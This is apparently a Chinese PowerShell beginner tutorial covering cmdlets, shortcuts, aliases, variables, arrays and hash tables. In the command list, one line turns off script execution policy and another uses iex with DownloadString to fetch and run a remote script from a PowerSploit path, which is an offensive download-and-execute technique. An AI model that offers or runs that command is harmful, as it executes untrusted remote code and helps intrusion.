admin 管理员组

文章数量: 887016

目录

  • powershell简介
    • powershell 特点
  • powershell快捷键
  • powershell常用命令
  • 变量
  • 数组
  • 哈希表

         ~~~~~~~~         因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。 ​​​​
                                                                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                                                                                 ————玛丽亚·杜埃尼亚斯

powershell简介

平常工作中大家比较熟悉的就是cmd了,在windows中,与cmd类似甚至更为强大的就是powershell了,光名字就霸气回肠。powershell从windows7开始内置于windows系统当中,可以说是微软对cmd的大升级。
windows powershell 是一种命令外壳程序和脚本环境,类型是一种命令行工具,在windows/平台上,用户可以利用 framework的强大功能。powershell可以看作是cmd的超集,所有的常用命令比如dir,cd,ipconfig等在powershell中都可以直接使用。但是背后的实现方式却是不同的,powershell基于完全的面向对象,通过给函数和对象“起别名”的方式来支持这些旧命令。
总结一下就是:你cmd能做的我powershell能做,你cmd不能做的我powershell照样能做!

powershell 特点

命令的设计十分规范
它的命令由动词+名词组成。比如get表示检索数据,process表示系统进程。那么两个组合起来就是get-process,表示获取系统进程列表。这种命令在powershell中就被称为“cmdlet”(command-let)
别名系统
powershell设计时考虑到了别名系统,能够非常方便的对别名进行增加、删除、修改。还为之创建了别名驱动器,可以像访问文件系统驱动器一样方便的访问别名驱动器。在命令行中创建的别名只能在当前命令行窗口使用,如果以后也想使用,可以将之保存到powershell的配置文件中。配置文件的位置可以用$profile命令来查询。可以使用dir alias:或get-alias来查看当前能用的别名。
管理任务
powershell的基本目标是使用户能够以交互式或通过脚本更好地对系统进行管理和控制,为了达成这个目标,powershell提供了大量的命令来执行各种的管理任务,让用户能够轻松的完成管理系统的任务。包括有:管理进程、处理文件和文件夹、处理系统服务、处理注册表等。

powershell快捷键

ALT+F7清除命令的历史记录
Pgup Pgdown翻页
Enter执行当前命令
End光标移至末尾
Del删除光标后的命令字符
ESC清空当前命令行
F2自动补充历史命令至指定位置
F4删除命令行至光标右边指定的字符处
F7对话框显示命令行历史记录
F8检索包含指定字符的命令行历史记录
F9根据编号选择历史命令
上/下翻看历史命令
左/右左右移动光标
Home移至命令行最左端
Backspace从右侧删除命令行字符
CTRL+C取消命令执行
Tab自动补齐命令或文件名

powershell常用命令

get-process  获取所有进程
get-history  获取当前会话中输入的命令列表
get-job   获取当前会话中运行的powershell后台作业
get-event  获取事件队列中的事件
get-date  获取当前时间
get-host 获取表示当前主机程序的对象
get-variable 获取当前控制台中的变量
get-eventlog 获取本地或远程计算机上的事件日志
get-service 获取本地或远程计算机的服务
get-help  查看帮助
get-command 查询命令
get-member  查看对象的成员信息
get-verb  获取所有动词
get-content 或者type  查看内容
$psversiontable   查看powershell版本 
ls env:    查看所有环境变量 
ls alias:  或者get-alias  查看所有的别名 
get-executionpolicy  查看脚本执行策略
set-executionpolicy bypass  设置可以执行脚本
. ./test1.ps1   把test1.ps1加载到内存  注意两个点之间有一个空格
iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1')    iex远程下载脚本执行    

别名使用

set-alias aaa get-command  自定义别名
get-alias -name ls  查看是谁的别名
export-alias demo.ps1 导出别名
import-alias -force demo.ps1 强制导入别名
Get-Alias | where {$_.definition.startswith("Remove")} 查询以remove开头的别名

变量

在powershell中变量名均以“$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且变量名对大小写不敏感($a和$A是同一个变量)

给变量赋值
$a=123456
set-variable var 123456
获取变量值
get-variable var #获取单个变量值
get-variable var*  #获取多个变量值
清空变量值
clear-variable var
查看当前使用的变量有哪些:ls variable:
查看指定的变量:ls variable:su*
查看变量是否存在:test-path variable:sum1
删除变量
del variable:sum1
Remove-Variable sum2

powershell特殊变量
PowerShell的特殊变量由系统自动创建。用户自定义的变量名称应该不和特殊变量相同。

$^ :前一命令行的第一个标记
$$ :前一命令行的最后一个标记
$_ :表示表示当前循环的迭代变量。
$? :前一命令执行状态,成功(Ture) 或者 失败(False)
$Args :为脚本或者函数指定的参数
$Error :错误发生时,错误对象存储于变量 $Error 中
$Foreach :引用foreach循环中的枚举器
$Home :用户的主目录
$Host :引用宿主 POWERSHELL 语言的应用程序
$Input :通过管道传递给脚本的对象的枚举器
$LastExitCode :上一程序或脚本的退出代码
$Matches : 使用 –match 运算符找到的匹配项的哈希表
$PSHome :Windows PowerShell 的安装位置
$profile :标准配置文件(可能不存在)
$StackTrace : Windows PowerShell 捕获的上一异常
$Switch :switch 语句中的枚举器

环境变量
Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。

ls env: 查看环境变量
ls env:os  or $env:os 查看os环境变量
$env:name="xiaoming"   添加环境变量
$env:JAVA_HOME="C:\Program Files\Java\jdk1.8.0_66"
del env:name   删除环境变量

数组

当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的为文本,实际上powershell会把文本的每一行作为元素存为数组。如图所示

创建数组
在powershell中创建数组可以使用逗号,创建空数组使用@()

访问添加数组
这里访问跟其他语言类似,也是用变量+[数字]的形式,添加数组使用“+=”

哈希表

使用@{}创建哈希表,用;把每个值分隔开,使用哈希表的键访问对应的值

增删改哈希表

相关链接:
windows系统之powershell脚本

本文标签: 基础 系统 Windows Powershell